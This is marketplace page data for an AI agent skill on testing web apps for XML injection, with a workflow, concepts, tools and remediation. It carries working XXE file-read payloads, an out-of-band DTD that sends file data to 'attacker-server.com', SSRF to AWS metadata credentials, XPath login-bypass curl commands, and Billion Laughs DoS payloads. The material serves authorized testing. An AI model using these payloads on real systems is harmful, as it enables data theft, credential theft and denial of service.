[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71GXGA6RGZ7FPS0B4C1BJSX":3,"skill-same:01M71GXGA6RGZ7FPS0B4C1BJSX":93},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":66,"commitSha":67,"skillDirectory":68,"forksCount":14,"repositoryHtmlUrl":69,"repositoryHomepageUrl":6,"ownerHtmlUrl":70,"ownerBlogUrl":6,"ownerDescription":71,"updatedAt":72,"install":73,"resources":86},"01M71GXGA6RGZ7FPS0B4C1BJSX","injection-xxe-xml-detect",null,"Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks.","DCx7C5\u002Fai-marketplace","DCx7C5","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42419559?v=4","01M71C01G2AZV3NTNGWAWSHJPP","DC","01M71C01GQW6G50S2BYMS7PP3E",0,"MIT","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Finjection\u002Fxxe\u002Fxml\u002Fdetect\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"injection","injection xxe xml detect","detect","xml","xxe","data","read","test web","request","de","exposure","server","dtd-attack","entity-injection","xml-parsing","Bash","cybersecurity","xpath-injection","xml-injection","cm","2026-11-10 10:12:30",false,"---\nname: injection-xxe-xml-detect\ndescription: Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- xml-injection\n- xxe\n- xpath-injection\n- xml-parsing\n- web-security\n- entity-injection\n- dtd-attack\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmodel: sonnet\nmaxTurns: 20\ntools: [Read, Bash, Glob, Grep]\nmitre_attack:\n- T1190\n- T1550\ncwe:\n- CWE-611\n- CWE-643\n- CWE-91\ncapec: []\n---\n\n# Testing for XML Injection Vulnerabilities\n\n## When to Use\n- When testing applications that process XML input (SOAP APIs, XML-RPC, file uploads)\n- During penetration testing of applications with XML parsers\n- When assessing SAML-based authentication implementations\n- When testing file import\u002Fexport functionality that handles XML formats\n- During API security testing of SOAP or XML-based web services\n\n## Prerequisites\n- Burp Suite with XML-related extensions (Content Type Converter, XXE Scanner)\n- XMLLint or similar XML validation tools\n- Understanding of XML structure, DTDs, and entity processing\n- Python 3.x with lxml and requests libraries\n- Access to an out-of-band interaction server (Burp Collaborator, interact.sh)\n- Sample XXE payloads from PayloadsAllTheThings repository\n\n## Workflow\n\n### Step 1 — Identify XML Processing Endpoints\n```bash\n# Look for endpoints accepting XML content types\n# Content-Type: application\u002Fxml, text\u002Fxml, application\u002Fsoap+xml\n# Check WSDL files for SOAP services\ncurl -s http:\u002F\u002Ftarget.com\u002Fservice?wsdl\n\n# Test if endpoint accepts XML by changing Content-Type\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\"?>\u003Croot>\u003Ctest>hello\u003C\u002Ftest>\u003C\u002Froot>'\n\n# Check for XML file upload functionality\n# Look for .xml, .svg, .xlsx, .docx file processing\n```\n\n### Step 2 — Test for Basic XXE (File Retrieval)\n```xml\n\u003C!-- Basic XXE to read local files -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Windows file retrieval -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fc:\u002Fwindows\u002Fwin.ini\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Using PHP wrapper for base64-encoded file content -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=\u002Fetc\u002Fpasswd\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 3 — Test for Blind XXE with Out-of-Band Detection\n```xml\n\u003C!-- Out-of-band XXE using external DTD -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % xxe SYSTEM \"http:\u002F\u002Fattacker-server.com\u002Fxxe.dtd\">\n  %xxe;\n]>\n\u003Croot>\u003Cdata>test\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- External DTD file (xxe.dtd hosted on attacker server) -->\n\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; exfil SYSTEM 'http:\u002F\u002Fattacker-server.com\u002F?data=%file;'>\">\n%eval;\n%exfil;\n\n\u003C!-- DNS-based out-of-band detection -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Fxxe-test.burpcollaborator.net\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 4 — Test for SSRF via XXE\n```xml\n\u003C!-- Internal network scanning via XXE -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- AWS metadata endpoint access -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Internal port scanning -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Finternal-server:8080\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 5 — Test for XPath Injection\n```bash\n# Basic XPath injection in search parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or '1'='1\"\n\n# XPath authentication bypass\ncurl -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n  -d \"username=' or '1'='1&password=' or '1'='1\"\n\n# XPath data extraction\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or 1=1 or ''='\"\n\n# Blind XPath injection with boolean-based extraction\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or string-length(\u002F\u002Fuser[1]\u002Fpassword)=8 or ''='\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or substring(\u002F\u002Fuser[1]\u002Fpassword,1,1)='a' or ''='\"\n```\n\n### Step 6 — Test for XML Billion Laughs (DoS)\n```xml\n\u003C!-- Billion Laughs attack (use only in authorized testing) -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE lolz [\n  \u003C!ENTITY lol \"lol\">\n  \u003C!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n  \u003C!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n  \u003C!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n]>\n\u003Croot>\u003Cdata>&lol4;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Quadratic blowup attack -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY a \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\">\n]>\n\u003Croot>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;\u003C\u002Froot>\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| XXE (XML External Entity) | Attack exploiting XML parsers that process external entity references |\n| Blind XXE | XXE where response is not reflected; requires out-of-band channels |\n| XPath Injection | Injection into XPath queries used to navigate XML documents |\n| DTD (Document Type Definition) | Declarations that define XML document structure and entities |\n| Parameter Entities | Special entities (%) used within DTDs for blind XXE exploitation |\n| SSRF via XXE | Using XXE to make server-side requests to internal resources |\n| XML Bomb | Denial of service via recursive entity expansion (Billion Laughs) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy with XXE Scanner extension for automated detection |\n| XXEinjector | Automated XXE injection and data exfiltration tool |\n| OXML_XXE | Tool for embedding XXE payloads in Office XML documents |\n| xmllint | XML validation and parsing utility for payload testing |\n| interact.sh | Out-of-band interaction server for blind XXE detection |\n| Content Type Converter | Burp extension to convert JSON requests to XML for XXE testing |\n\n## Common Scenarios\n\n1. **File Disclosure** — Read sensitive server files (\u002Fetc\u002Fpasswd, web.config) through classic XXE entity injection in XML input fields\n2. **SSRF to Cloud Metadata** — Access AWS\u002FGCP\u002FAzure metadata endpoints through XXE to steal IAM credentials and access tokens\n3. **Blind Data Exfiltration** — Extract sensitive data through out-of-band DNS\u002FHTTP channels when XXE output is not reflected\n4. **SAML XXE** — Inject XXE payloads into SAML assertions during single sign-on authentication flows\n5. **SVG File Upload XXE** — Upload malicious SVG files containing XXE payloads to trigger server-side XML parsing\n\n## Output Format\n\n```\n## XML Injection Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fxml-endpoint\n- **Vulnerability Types Found**: XXE, Blind XXE, XPath Injection\n- **Severity**: Critical\n\n### Findings\n| # | Type | Endpoint | Payload | Impact |\n|---|------|----------|---------|--------|\n| 1 | XXE File Read | POST \u002Fapi\u002Fimport | SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\" | Local File Disclosure |\n| 2 | Blind XXE | POST \u002Fapi\u002Fupload | External DTD with OOB | Data Exfiltration |\n| 3 | SSRF via XXE | POST \u002Fapi\u002Fparse | SYSTEM \"http:\u002F\u002F169.254.169.254\u002F\" | Cloud Credential Theft |\n\n### Remediation\n- Disable external entity processing in XML parser configuration\n- Use JSON instead of XML where possible\n- Implement XML schema validation with strict DTD restrictions\n- Block outbound connections from XML processing services\n```\n","# Testing for XML Injection Vulnerabilities\n\n## When to Use\n- When testing applications that process XML input (SOAP APIs, XML-RPC, file uploads)\n- During penetration testing of applications with XML parsers\n- When assessing SAML-based authentication implementations\n- When testing file import\u002Fexport functionality that handles XML formats\n- During API security testing of SOAP or XML-based web services\n\n## Prerequisites\n- Burp Suite with XML-related extensions (Content Type Converter, XXE Scanner)\n- XMLLint or similar XML validation tools\n- Understanding of XML structure, DTDs, and entity processing\n- Python 3.x with lxml and requests libraries\n- Access to an out-of-band interaction server (Burp Collaborator, interact.sh)\n- Sample XXE payloads from PayloadsAllTheThings repository\n\n## Workflow\n\n### Step 1 — Identify XML Processing Endpoints\n```bash\n# Look for endpoints accepting XML content types\n# Content-Type: application\u002Fxml, text\u002Fxml, application\u002Fsoap+xml\n# Check WSDL files for SOAP services\ncurl -s http:\u002F\u002Ftarget.com\u002Fservice?wsdl\n\n# Test if endpoint accepts XML by changing Content-Type\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fdata \\\n  -H \"Content-Type: application\u002Fxml\" \\\n  -d '\u003C?xml version=\"1.0\"?>\u003Croot>\u003Ctest>hello\u003C\u002Ftest>\u003C\u002Froot>'\n\n# Check for XML file upload functionality\n# Look for .xml, .svg, .xlsx, .docx file processing\n```\n\n### Step 2 — Test for Basic XXE (File Retrieval)\n```xml\n\u003C!-- Basic XXE to read local files -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Windows file retrieval -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fc:\u002Fwindows\u002Fwin.ini\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Using PHP wrapper for base64-encoded file content -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=\u002Fetc\u002Fpasswd\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 3 — Test for Blind XXE with Out-of-Band Detection\n```xml\n\u003C!-- Out-of-band XXE using external DTD -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % xxe SYSTEM \"http:\u002F\u002Fattacker-server.com\u002Fxxe.dtd\">\n  %xxe;\n]>\n\u003Croot>\u003Cdata>test\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- External DTD file (xxe.dtd hosted on attacker server) -->\n\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n\u003C!ENTITY % eval \"\u003C!ENTITY &#x25; exfil SYSTEM 'http:\u002F\u002Fattacker-server.com\u002F?data=%file;'>\">\n%eval;\n%exfil;\n\n\u003C!-- DNS-based out-of-band detection -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Fxxe-test.burpcollaborator.net\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 4 — Test for SSRF via XXE\n```xml\n\u003C!-- Internal network scanning via XXE -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- AWS metadata endpoint access -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Internal port scanning -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Finternal-server:8080\u002F\">\n]>\n\u003Croot>\u003Cdata>&xxe;\u003C\u002Fdata>\u003C\u002Froot>\n```\n\n### Step 5 — Test for XPath Injection\n```bash\n# Basic XPath injection in search parameters\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or '1'='1\"\n\n# XPath authentication bypass\ncurl -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n  -d \"username=' or '1'='1&password=' or '1'='1\"\n\n# XPath data extraction\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or 1=1 or ''='\"\n\n# Blind XPath injection with boolean-based extraction\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or string-length(\u002F\u002Fuser[1]\u002Fpassword)=8 or ''='\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fsearch?query=' or substring(\u002F\u002Fuser[1]\u002Fpassword,1,1)='a' or ''='\"\n```\n\n### Step 6 — Test for XML Billion Laughs (DoS)\n```xml\n\u003C!-- Billion Laughs attack (use only in authorized testing) -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE lolz [\n  \u003C!ENTITY lol \"lol\">\n  \u003C!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n  \u003C!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n  \u003C!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n]>\n\u003Croot>\u003Cdata>&lol4;\u003C\u002Fdata>\u003C\u002Froot>\n\n\u003C!-- Quadratic blowup attack -->\n\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY a \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\">\n]>\n\u003Croot>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;\u003C\u002Froot>\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| XXE (XML External Entity) | Attack exploiting XML parsers that process external entity references |\n| Blind XXE | XXE where response is not reflected; requires out-of-band channels |\n| XPath Injection | Injection into XPath queries used to navigate XML documents |\n| DTD (Document Type Definition) | Declarations that define XML document structure and entities |\n| Parameter Entities | Special entities (%) used within DTDs for blind XXE exploitation |\n| SSRF via XXE | Using XXE to make server-side requests to internal resources |\n| XML Bomb | Denial of service via recursive entity expansion (Billion Laughs) |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy with XXE Scanner extension for automated detection |\n| XXEinjector | Automated XXE injection and data exfiltration tool |\n| OXML_XXE | Tool for embedding XXE payloads in Office XML documents |\n| xmllint | XML validation and parsing utility for payload testing |\n| interact.sh | Out-of-band interaction server for blind XXE detection |\n| Content Type Converter | Burp extension to convert JSON requests to XML for XXE testing |\n\n## Common Scenarios\n\n1. **File Disclosure** — Read sensitive server files (\u002Fetc\u002Fpasswd, web.config) through classic XXE entity injection in XML input fields\n2. **SSRF to Cloud Metadata** — Access AWS\u002FGCP\u002FAzure metadata endpoints through XXE to steal IAM credentials and access tokens\n3. **Blind Data Exfiltration** — Extract sensitive data through out-of-band DNS\u002FHTTP channels when XXE output is not reflected\n4. **SAML XXE** — Inject XXE payloads into SAML assertions during single sign-on authentication flows\n5. **SVG File Upload XXE** — Upload malicious SVG files containing XXE payloads to trigger server-side XML parsing\n\n## Output Format\n\n```\n## XML Injection Assessment Report\n- **Target**: http:\u002F\u002Ftarget.com\u002Fapi\u002Fxml-endpoint\n- **Vulnerability Types Found**: XXE, Blind XXE, XPath Injection\n- **Severity**: Critical\n\n### Findings\n| # | Type | Endpoint | Payload | Impact |\n|---|------|----------|---------|--------|\n| 1 | XXE File Read | POST \u002Fapi\u002Fimport | SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\" | Local File Disclosure |\n| 2 | Blind XXE | POST \u002Fapi\u002Fupload | External DTD with OOB | Data Exfiltration |\n| 3 | SSRF via XXE | POST \u002Fapi\u002Fparse | SYSTEM \"http:\u002F\u002F169.254.169.254\u002F\" | Cloud Credential Theft |\n\n### Remediation\n- Disable external entity processing in XML parser configuration\n- Use JSON instead of XML where possible\n- Implement XML schema validation with strict DTD restrictions\n- Block outbound connections from XML processing services\n```\n",{"cwe":44,"name":5,"tags":48,"capec":50,"model":51,"tools":52,"domain":35,"maxTurns":56,"nist_csf":57,"subdomain":62,"description":7,"mitre_attack":63},[45,46,47],"CWE-611","CWE-643","CWE-91",[37,23,36,33,49,32,31],"web-security",[],"sonnet",[53,34,54,55],"Read","Glob","Grep",20,[58,59,60,61],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[64,65],"T1190","T1550","main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Fweb-application\u002Finjection\u002Fxxe\u002Fxml\u002Fdetect","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":74,"prompt":84,"zipAvailable":85},[75,78,81],{"tool":76,"command":77},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill injection-xxe-xml-detect",{"tool":79,"command":80},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill injection-xxe-xml-detect",{"tool":82,"command":83},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill injection-xxe-xml-detect","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Finjection\u002Fxxe\u002Fxml\u002Fdetect\u002FSKILL.md",true,[87],{"path":88,"resourceType":89,"resourceTypeDesc":90,"sizeBytes":91,"sourceHtmlUrl":92},"index.json","REFERENCE","参考文档",678,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fweb-application\u002Finjection\u002Fxxe\u002Fxml\u002Fdetect\u002Findex.json",[94,104,126,147,168,190],{"skillNo":95,"name":96,"nameZh":6,"description":97,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":98,"licenseFileUrl":99,"sourceHtmlUrl":100,"categories":101,"keywords":102,"publishedAt":103},"01M73MDK3NT5XHNYTQ5P5172V9","devel-jb-algorithmic-art","- Embed algorithms inline in the HTML artifact (don't create separate .","Apache-2.0","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FSKILL.md",[],[],"2026-11-11 15:11:14",{"skillNo":105,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":108,"categories":109,"keywords":110,"publishedAt":39},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[111,21,112,113,114,115,116,35,117,118,119,120,121,122,123,124,125,38,28],"services","services wmi persistence detect","wmi","persistence","process-forensics","process","forensics","t1546.003","event-subscription","subscription","repository","commandline-consumer","subscriptions","event","activescript",{"skillNo":127,"name":128,"nameZh":6,"description":129,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":130,"categories":131,"keywords":132,"publishedAt":39},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[133,113,134,111,135,136,34,137,138,35,139,140,141,142,143,25,144,145,28,146],"exec","services wmi exec exploit","exploit","across","analysis","team","traffic","remote","crackmapexec","Impacket","lateral-movement","lateral movement","command","native",{"skillNo":148,"name":149,"nameZh":6,"description":150,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":151,"categories":152,"keywords":153,"publishedAt":39},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[154,155,156,157,158,51,159,160,161,162,25,28,163,164,137,165,34,35,166,167],"extract","registry artifact extract","registry","artifact","digital-forensics","regripper","windows-registry","evidence-collection","software","uncover","analyze","collection","artifact-analysis","activity",{"skillNo":169,"name":170,"nameZh":6,"description":171,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":172,"categories":173,"keywords":174,"publishedAt":39},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[175,176,177,21,35,178,38,179,180,181,115,28,182,183,184,185,186,187,188,189],"processes","token","processes token impersonate detect","techniques","escalation","windows","attacks","via","impersonation","potato","exploitation","printspoofer","token-impersonation","seimpersonate","privilege-escalation",{"skillNo":191,"name":192,"nameZh":6,"description":193,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":194,"categories":195,"keywords":196,"publishedAt":39},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[197,175,19,21,198,199,116,28,182,200,201,202,137,115,35,178,203,38,204,180],"thread","processes thread injection detect","thread-injection","nt-api","apc-injection","api","process-injection","memory"]